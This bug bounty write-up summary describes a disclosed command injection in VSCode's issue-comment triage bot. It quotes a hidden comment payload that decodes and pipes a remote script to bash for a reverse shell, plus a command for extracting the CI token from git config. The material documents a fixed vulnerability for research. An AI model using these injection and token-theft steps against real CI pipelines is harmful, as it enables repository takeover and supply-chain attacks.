# VSCode triage bot: command injection via \closedWith comment

Regex + missing auth in VSCode's \closedWith issue command let any user inject shell commands into GitHub Actions, gaining write access to microsoft/vscode.

- Payout: Research
- Severity: critical
- Program: Microsoft
- Write-up by: RyotaK
- Disclosed: 2021-01-12
- Write-up quality: 9/10
- Original: https://blog.ryotak.net/post/vscode-write-access/
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-ryotak-net-post-vscode-write-access
- Tags: area:cloud domain:infra impact:integrity impact:rce kind:research platform:research sev:critical tech:ci-cd tech:github-actions technique:chained technique:source-review vuln:auth-bypass vuln:command-injection

**Target:** GitHub Actions CI scripts (vscode-github-triage-actions) triggered by issue comments
**Root cause:** The \closedWith regex `/(?:\\|\/)closedWith (\S*)/` accepted arbitrary non-whitespace (not just hex hashes) and matched anywhere in a comment, and the command handler lacked the allowUsers authorization check; the captured value was interpolated into `exec(git merge-base --is-ancestor ${commit} ${release})`.
**Steps:**
1. Read microsoft/vscode-github-triage-actions; spot `exec(`git ... --is-ancestor ${commit} ${release}`)` in releaseContainsCommit
2. Trace callers: getClosingInfo parses \closedWith from issue comments via regex `/(?:\\|\/)closedWith (\S*)/`
3. Note regex allows any \S* and matches mid-comment; note missing allowUsers check
4. Find scheduled workflow author-verified.yml running daily 14:20 UTC on query `is:closed label:awaiting-insiders-release label:author-verification-requested`
5. Identify a matching open issue (#113374)
6. Post comment: `Does the next version fix this issue? <!-- \closedWith `eval${IFS}$(echo${IFS}'<base64 curl|bash>'|base64${IFS}-d)` -->`
7. Wait for scheduled run; reverse shell lands in Actions runner
8. Extract GITHUB_TOKEN from `git config --get http.https://github.com/.extraheader`, base64-decode
9. Push PoC branch `ryotak`; master protected, so open PR #113596 to release branch and self-approve as github-actions bot to merge
**How found:** Browsing microsoft/vscode on a train, noticed CI scripts in a separate repo; reading them spotted unquoted shell interpolation in exec, then searched for releaseContainsCommit to trace tainted input back to issue comments and found the loose regex and missing auth check.
**Exploitation:** Attacker posts a disguised issue comment containing \closedWith with a base64-encoded `curl ... | bash` payload; the scheduled GitHub Actions workflow parses it, exec's it, and the attacker gets a reverse shell in the runner with the checkout-persisted GITHUB_TOKEN, granting write access to microsoft/vscode.
**Escalation:** Used the leaked GITHUB_TOKEN (github-actions bot) to bypass release-branch protection by opening and self-approving a PR, proving arbitrary commit to release branches; master had account-based merge protection.
**Insight:** Triage/CI bots that parse issue comments are a high-value target: grep OSS repos for `exec(`/`execSync` with template literals, then trace whether comment-derived values (hashes, labels, usernames) reach them; also check whether command allowlists are enforced in code vs only in config.
